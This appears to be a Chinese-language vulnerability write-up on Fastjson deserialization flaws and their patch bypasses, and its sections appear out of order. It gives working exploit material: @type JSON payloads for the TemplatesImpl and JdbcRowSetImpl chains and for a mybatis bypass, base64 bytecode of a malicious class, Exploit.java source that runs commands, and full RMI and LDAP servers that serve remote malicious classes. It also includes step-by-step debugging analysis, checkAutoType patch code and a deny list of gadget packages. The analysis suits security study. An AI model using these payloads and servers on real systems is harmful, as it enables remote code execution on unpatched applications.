调试发现,在checkAutoType()函数中,修改的是直接对类名以”LL”开头的直接报错

图片

但是以”[“开头的类名自然能成功绕过上述校验以及黑名单过滤。

继续往下调试,在TypeUtils.loadClass()函数中,除了前面看到的判断是否以”L”开头、以”;”结尾的if判断语句外,在其前面还有一个判断是否以”[“开头的if判断语句,是的话就提取其中的类名,并调用Array.newInstance().getClass()来获取并返回类:

图片

图片

解析完返回的类名是”[com.sun.rowset.JdbcRowSetImpl”,通过checkAutoType()函数检测之后,到后面就是读该类进行反序列化

图片

图片

在反序列化中,调用了DefaultJSONParser.parseArray()函数来解析数组内容,其中会有一些if判断语句校验后面的字符内容是否为”[“、”{“等,前面一开始尝试的几个payload报错的原因正是出在这里

图片

把这些条件一一满足后,就能成功利用了

0x05 1.2.25-1.2.45补丁绕过

绕过利用

前提条件:需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本。

直接给出payload,要连LDAP或RMI都可以:

1
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/Exploit"}}

关键PoC:org.apache.ibatis.datasource.jndi.JndiDataSourceFactory

主要就是黑名单绕过,这个类我们在哈希黑名单中1.2.46的版本中可以看到

运行即可成功触发

调试分析

调试checkAutoType()函数,看到对前一个补丁绕过方法的”[“字符进行了过滤,只要类名以”[“开头就直接抛出异常:

图片

图片

后面由于”org.apache.ibatis.datasource.jndi.JndiDataSourceFactory”不在黑名单中,因此能成功绕过checkAutoType()函数的检测。

继续往下调试分析org.apache.ibatis.datasource.jndi.JndiDataSourceFactory这条利用链的原理。

由于payload中设置了properties属性值,且JndiDataSourceFactory.setProperties()方法满足之前说的Fastjson会自动调用的setter方法的条件,因此可被利用来进行Fastjson反序列化漏洞的利用。

直接在该setter方法打断点,可以看到会调用到这来,这里就是熟悉的JNDI注入漏洞了,即InitialContext.lookup(),其中参数由我们输入的properties属性中的data_source值获取的

图片

图片

之后就是由JNDI注入漏洞成功触发Fastjson反序列化漏洞了。

函数调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<init>:10, Exploit
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:57, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:526, Constructor (java.lang.reflect)
newInstance:383, Class (java.lang)
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:188, DirectoryManager (javax.naming.spi)
c_lookup:1086, LdapCtx (com.sun.jndi.ldap)
p_lookup:544, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:203, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:411, InitialContext (javax.naming)
setProperties:56, JndiDataSourceFactory (org.apache.ibatis.datasource.jndi)
deserialze:-1, FastjsonASMDeserializer_1_JndiDataSourceFactory (com.alibaba.fastjson.parser.deserializer)
deserialze:267, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:384, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1356, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1322, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:152, JSON (com.alibaba.fastjson)
parse:162, JSON (com.alibaba.fastjson)
parse:131, JSON (com.alibaba.fastjson)
main:8, JdbcRowSetImplPoc

0x01 影响版本

Fastjson 1.2.x系列的1.2.22-1.2.24版本。

0x02 复现

对于Fastjson 1.2.22-1.2.24 版本的反序列化漏洞的利用,目前已知的主要有以下的利用链:

  • 基于TemplateImpl;
  • 基于JNDI

    基于TemplateImpl的利用链

参考廖新喜大佬的博客

限制

需要设置Feature.SupportNonPublicField进行反序列化操作才能成功触发利用。

复现利用

恶意类Test.java,为啥需要继承AbstractTranslet类在后面具体看到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class Test extends AbstractTranslet {
public Test() throws IOException {
Runtime.getRuntime().exec(“calc”);
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
Test t = new Test();
}
}

这里将恶意类编译成class文件,然后我通过一个py脚本进行base64编码以及生成payload:

1
2
3
4
5
6
7
import base64

fin = open(r"Test.class","rb")
byte = fin.read()
fout = base64.b64encode(byte).decode("utf-8")
poc = '{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["%s"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}'% fout
print(poc)

运行即可弹出计算器:

1
2
3
4
5
6
7
8
9
10
package fastjson;

import com.alibaba.fastjson.JSON;

public class Poc {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\", \"autoCommit\":true}"; JSON.parse(payload);
JSON.parseObject(payload,Feature.SupportNonPublicField);
}
}

来看生成的poc

1
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADMANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMVGVzdDsBAApFeGNlcHRpb25zBwAsAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAtAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXQHAC4BAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAIAAkHAC8MADAAMQEABGNhbGMMADIAMwEABFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgALAAAADgADAAAACgAEAAsADQAMAAwAAAAMAAEAAAAOAA0ADgAAAA8AAAAEAAEAEAABABEAEgABAAoAAABJAAAABAAAAAGxAAAAAgALAAAABgABAAAADwAMAAAAKgAEAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABUAFgACAAAAAQAXABgAAwABABEAGQACAAoAAAA/AAAAAwAAAAGxAAAAAgALAAAABgABAAAAEgAMAAAAIAADAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABoAGwACAA8AAAAEAAEAHAAJAB0AHgACAAoAAABBAAIAAgAAAAm7AAVZtwAGTLEAAAACAAsAAAAKAAIAAAAUAAgAFQAMAAAAFgACAAAACQAfACAAAAAIAAEAIQAOAAEADwAAAAQAAQAiAAEAIwAAAAIAJA=="],'_name':'a.b','_tfactory':{ },"_outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"}

PoC中几个重要的Json键的含义:

  • @type——指定的解析类,即com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,Fastjson根据指定类去反序列化得到该类的实例,在默认情况下只会去反序列化public修饰的属性,在PoC中,_bytecodes_name都是私有属性,所以想要反序列化这两个属性,需要在parseObject()时设置Feature.SupportNonPublicField
  • _bytecodes——是我们把恶意类的.class文件二进制格式进行Base64编码后得到的字符串;
  • _outputProperties——漏洞利用链的关键会调用其参数的getOutputProperties()方法,进而导致命令执行;
  • _tfactory:{}——在defineTransletClasses()时会调用getExternalExtensionsMap(),当为null时会报错,所以要对_tfactory设置

    调试分析

下面我们直接在反序列化的那句代码上打上断点进行调试分析

1
JSON.parseObject(payload,Feature.SupportNonPublicField);

在JSON.parseObject()中会调用DefaultJSONParser.parseObject(),而DefaultJSONParser.parseObject()中调用了JavaObjectDeserializer.deserialze()函数进行反序列化
图片

图片

跟进该函数,发现会返回去调用DefaultJSONParser.parse()函数

图片

继续调试,在DefaultJSONParser.parse()里是对JSON内容进行扫描,在switch语句中匹配上了”{“即对应12,然后对JSON数据调用DefaultJSONParser.parseObject()进行解析

图片

图片

在DefaultJSONParser.parseObject()中,通过for语句循环解析JSON数据内容,其中skipWhitespace()函数用于去除数据中的空格字符,然后获取当前字符是否为双引号,是的话就调用scanSymbol()获取双引号内的内容,这里得到第一个双引号里的内容为”@type”:

图片

图片

往下调试,判断key是否为@type且是否关闭了Feature.DisableSpecialKeyDetect设置,通过判断后调用scanSymbol()获取到了@type对应的指定类com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,并调用TypeUtils.loadClass()函数加载该类

图片

图片

跟进去,看到如红框的两个判断语句代码逻辑,是判断当前类名是否以”[“开头或以”L”开头以”;”结尾,当然本次调试分析是不会进入到这两个逻辑,但是后面的补丁绕过中利用到了这两个条件判断,也就是说这两个判断条件是后面补丁绕过的漏洞点,值得注意

图片

往下看,通过ClassLoader.loadClass()加载到目标类后,然后将该类名和类缓存到Map中,最后返回该加载的类

图片

图片

返回后,程序继续回到DefaultJSONParser.parseObject()中往下执行,在最后调用JavaBeanDeserializer.deserialze()对目标类进行反序列化

图片

跟进去,循环扫描解析,解析到key为_bytecodes时,调用parseField()进一步解析

图片

图片

在parseField()中,会调用DefaultFieldDeserializer.parseField()对_bytecodes对应的内容进行解析

图片

图片

跟进DefaultFieldDeserializer.parseField()函数中,解析出_bytecodes对应的内容后,会调用setValue()函数设置对应的值,这里value即为恶意类二进制内容Base64编码后的数据

图片

图片

FieldDeserializer.setValue()函数,看到是调用private byte[][] com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl._bytecodes的set方法来设置_bytecodes的值

图片

图片

返回之后,后面也是一样的,循环处理JSON数据中的其他键值内容。

当解析到_outputProperties的内容时,看到前面的下划线被去掉了

图片

图片

跟进该方法,发现会通过反射机制调用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()方法,可以看到该方法类型是Properties、满足之前我们得到的结论即Fastjson反序列化会调用被反序列化的类的某些满足条件的getter方法

图片

跟进去,在getOutputProperties()方法中调用了newTransformer().getOutputProperties()方法

图片

跟进TemplatesImpl.newTransformer()方法,看到调用了getTransletInstance()方法

图片

继续跟进去查看getTransletInstance()方法,可以看到已经解析到Test类并新建一个Test类实例,注意前面会先调用defineTransletClasses()方法来生成一个Java类(Test类)

图片

再往下就是新建Test类实例的过程,并调用Test类的构造函数

整个调试过程主要的函数调用栈如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<init>:11, Test
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:57, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:526, Constructor (java.lang.reflect)
newInstance:383, Class (java.lang)
getTransletInstance:408, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:439, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:460, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:606, Method (java.lang.reflect)
setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
deserialze:45, JavaObjectDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:639, DefaultJSONParser (com.alibaba.fastjson.parser)
parseObject:339, JSON (com.alibaba.fastjson)
parseObject:302, JSON (com.alibaba.fastjson)
main:35, PoC

最后的调用过滤再具体说下:在getTransletInstance()函数中调用了defineTransletClasses()函数,在defineTransletClasses()函数中会根据_bytecodes来生成一个Java类(这里为恶意类Test),其构造方法中含有命令执行代码,生成的Java类随后会被newInstance()方法调用生成一个实例对象,从而该类的构造函数被自动调用,进而造成任意代码执行

为什么恶意类需要继承AbstractTranslet类

在前面的调试分析中,getTransletInstance()函数会先调用defineTransletClasses()方法来生成一个Java类,我们跟进这个defineTransletClasses()方法查看下

图片

可以看到有个逻辑会判断恶意类的父类类名是否是ABSTRACT_TRANSLET,是的话_transletIndex变量的值被设置为0,到后面的if判断语句中就不会被识别为<0而抛出异常终止程序。

为什么需要对_bytecodes进行Base64编码

可以发现,在PoC中的_bytecodes字段是经过Base64编码的。为什么要怎么做呢?分析Fastjson对JSON字符串的解析过程,原理Fastjson提取byte[]数组字段值时会进行Base64解码,所以我们构造payload时需要对_bytecodes字段进行Base64加密处理。

其中Fastjson的处理代码如下,在ObjectArrayCodec.deserialze()函数中会调用lexer.bytesValue()对byte数组进行处理:

1
2
3
4
5
6
7
8
9
10
11
12
public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
final JSONLexer lexer = parser.lexer;
if (lexer.token() == JSONToken.NULL) {
lexer.nextToken(JSONToken.COMMA);
return null;
}

if (lexer.token() == JSONToken.LITERAL_STRING) {
byte[] bytes = lexer.bytesValue();
lexer.nextToken(JSONToken.COMMA);
return (T) bytes;
}

跟进bytesValue()函数,就是对_bytecodes的内容进行Base64解码
图片

为什么需要设置_tfactory为{}

由前面的调试分析知道,在getTransletInstance()函数中调用了defineTransletClasses()函数,defineTransletClasses()函数是用于生成Java类的,在其中会新建一个转换类加载器,其中会调用到_tfactory.getExternalExtensionsMap()方法,若_tfactory为null则会导致这段代码报错、从而无法生成恶意类,进而无法成功攻击利用:

图片

为什么反序列化调用getter方法时会调用到TemplatesImpl.getOutputProperties()方法

getOutputProperties()方法是个无参数的非静态的getter方法,以get开头且第四个字母为大写形式,其返回值类型是Properties即继承自Map类型,满足Fastjson反序列化时会调用的getter方法的条件,因此在使用Fastjson对TemplatesImpl类对象进行反序列化操作时会自动调用getOutputProperties()方法。

如何关联_outputProperties与getOutputProperties()方法

Fastjson会语义分析JSON字符串,根据字段key,调用fieldList数组中存储的相应方法进行变量初始化赋值。

具体的代码在JavaBeanDeserializer.parseField()中,其中调用了smartMatch()方法

1
2
3
4
public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType, Map<String, Object> fieldValues) {
JSONLexer lexer = parser.lexer; // xxx

FieldDeserializer fieldDeserializer = smartMatch(key);

在JavaBeanDeserializer.smartMatch()方法中,会替换掉字段key中的_,从而使得_outputProperties变成了outputProperties
图片

图片

既然已经得到了outputProperties属性了,那么自然而然就会调用到getOutputProperties()方法

基于JdbcRowSetImpl的利用链

基于JdbcRowSetImpl的利用链主要有两种利用方式,即JNDI+RMI和JNDI+LDAP

限制

由于是利用JNDI注入漏洞来触发的,因此主要的限制因素是JDK版本。

基于RMI利用的JDK版本<=6u141、7u131、8u121,基于LDAP利用的JDK版本<=6u211、7u201、8u191。

JNDI+RMI复现利用

PoC如下,@type指向com.sun.rowset.JdbcRowSetImpl类,dataSourceName值为RMI服务中心绑定的Exploit服务,autoCommit有且必须为true或false等布尔值类型

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true}

JNDIServer.java,RMI服务,注册表绑定了Exploit服务,该服务是指向恶意Exploit.class文件所在服务器的Reference

1
2
3
4
5
6
7
8
9
10
public class JNDIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
//http://127.0.0.1:8000/Exploit.class即可
Reference reference = new Reference("Exloit",
"Exploit","http://127.0.0.1:8000/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit",referenceWrapper);
}
}

Exploit.java,恶意类,单独编译成class文件并放置于RMI服务指向的三方Web服务中,作为一个Factory绑定在注册表服务中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class Exploit{
public Exploit() {
try {
String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
? new String[]{"cmd.exe","/c", "calc.exe"}
: new String[]{"/bin/bash","-c", "touch /tmp/hacked"};
Runtime.getRuntime().exec(cmds);
} catch (Exception e) {
e.printStackTrace();
}
}

public static void main(String[] args) {
Exploit e = new Exploit();
}
}

JdbcRowSetImplPoc.java:

1
2
3
4
5
6
public class JdbcRowSetImplPoc {
public static void main(String[] argv){
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\", \"autoCommit\":true}";
JSON.parse(payload);
}
}

先运行JNDI的RMI服务,将恶意类Exploit.class单独放置于一个三方的Web服务中,然后运行PoC即可弹计算器,且看到访问了含有恶意类的Web服务

JNDI+LDAP复现利用

PoC如下,跟RMI的相比只是改了URL而已

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

但是相比RMI的利用方式,优势在于JDK的限制更低了。
LdapServer.java,区别在于将之前的RMI服务端换成LDAP服务端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
public class LdapServer {

private static final String LDAP_BASE = "dc=example,dc=com";



public static void main (String[] args) {

String url = "http://127.0.0.1:8000/#Exploit";
int port = 1389;



try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;



/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}



/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}

}



protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

}
}

Exploit.java不变。
JdbcRowSetImplPoC.java中修改payload中的dataSourceName的值为指向LDAP服务端地址即可

1
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Exploit\", \"autoCommit\":true}";

调试分析

虽然前面两个复现利用是用的不同的服务,但是都是利用了com.sun.rowset.JdbcRowSetImpl这条利用链来触发的,漏洞点都是JNDI注入导致的。

JSON.parse(payload);处打下断点开始往下调试。

前面的函数调用过程和基于TemplateImpl的调试分析几乎是一样的,只看下区别的地方。

调用scanSymbol()函数扫描到com.sun.rowset.JdbcRowSetImpl类后,再调用TypeUtils.loadClass()函数将该类加载进来

图片

往下调试,调用了FastjsonASMDeserializer.deserialze()函数对该类进行反序列化操作

图片

继续往下调试,就是ASM机制生成的临时代码了,这些代码是下不了断点、也看不到,直接继续往下调试即可。

由于PoC设置了dataSourceName键值和autoCommit键值,因此在JdbcRowSetImpl中的setDataSourceName()和setAutoCommit()函数都会被调用,因为它们均满足前面说到的Fastjson在反序列化时会自动调用的setter方法的特征。

先是调试到了setDataSourceName()函数,将dataSourceName值设置为目标RMI服务的地址

图片

接着调用到setAutoCommit()函数,设置autoCommit值,其中调用了connect()函数

图片

跟进connect()函数,看到了熟悉的JNDI注入的代码即InitialContext.lookup(),并且其参数是调用this.getDataSourceName()获取的、即在前面setDataSourceName()函数中设置的值,因此lookup参数外部可控,导致存在JNDI注入漏洞

图片

再往下就是JNDI注入的调用过程了,最后是成功利用JNDI注入触发Fastjson反序列化漏洞、达到任意命令执行效果。

调试过程的函数调用栈如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
connect:654, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4081, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:606, Method (java.lang.reflect)
setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseRest:922, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
main:6, JdbcRowSetImplPoc

这里漏洞触发点是JSON.parse(payload);,改成用JSON.parseObject(payload);也是可以成功利用的。
我们将JSON.parse()换成JSON.parseObject()再调试一遍会发现,JSON.parseObject()会调用到JSON.parse()、再调用DefaultJSONParser.parse(),也就是说JSON.parseObject()本质上还是调用JSON.parse()进行反序列化的,区别不过是parseObject()会额外调用JSON.toJSON()来将Java对象专为JSONObject对象。两者的反序列化的操作时一样的,因此都能成功触发

0x03 补丁分析

这里下载1.2.25版本的jar包看下是怎么修补的。

checkAutoType()

修补方案就是将DefaultJSONParser.parseObject()函数中的TypeUtils.loadClass替换为checkAutoType()函数

图片

看下checkAutoType()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
}

final String className = typeName.replace('$', '.');

// autoTypeSupport默认为False
// 当autoTypeSupport开启时,先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤
if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}

for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

// 从Map缓存中获取类,注意这是后面版本的漏洞点
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}

if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}

// 当autoTypeSupport未开启时,先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错
if (!autoTypeSupport) {
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);

if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}

if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}

if (clazz != null) {

if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}

if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
}

if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}

return clazz;
}

简单地说,checkAutoType()函数就是使用黑白名单的方式对反序列化的类型继续过滤,acceptList为白名单(默认为空,可手动添加),denyList为黑名单(默认不为空)。
默认情况下,autoTypeSupport为False,即先进行黑名单过滤,遍历denyList,如果引入的库以denyList中某个deny开头,就会抛出异常,中断运行。

denyList黑名单中列出了常见的反序列化漏洞利用链Gadgets

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

这里可以看到黑名单中包含了”com.sun.”,这就把我们前面的几个利用链都给过滤了,成功防御了。
运行能看到报错信息,说autoType不支持该类

图片

调试分析看到,就是在checkAutoType()函数中未开启autoTypeSupport即默认设置的场景下被黑名单过滤了从而导致抛出异常程序终止的

图片

autoTypeSupport

autoTypeSupport是checkAutoType()函数出现后ParserConfig.java中新增的一个配置选项,在checkAutoType()函数的某些代码逻辑起到开关的作用。

默认情况下autoTypeSupport为False,将其设置为True有两种方法:

  • JVM启动参数:-Dfastjson.parser.autoTypeSupport=true
  • 代码中设置:ParserConfig.getGlobalInstance().setAutoTypeSupport(true);,如果有使用非全局ParserConfig则用另外调用setAutoTypeSupport(true);
    AutoType白名单设置方法:
  1. JVM启动参数:-Dfastjson.parser.autoTypeAccept=com.xx.a.,com.yy.
  2. 代码中设置:ParserConfig.getGlobalInstance().addAccept("com.xx.a");
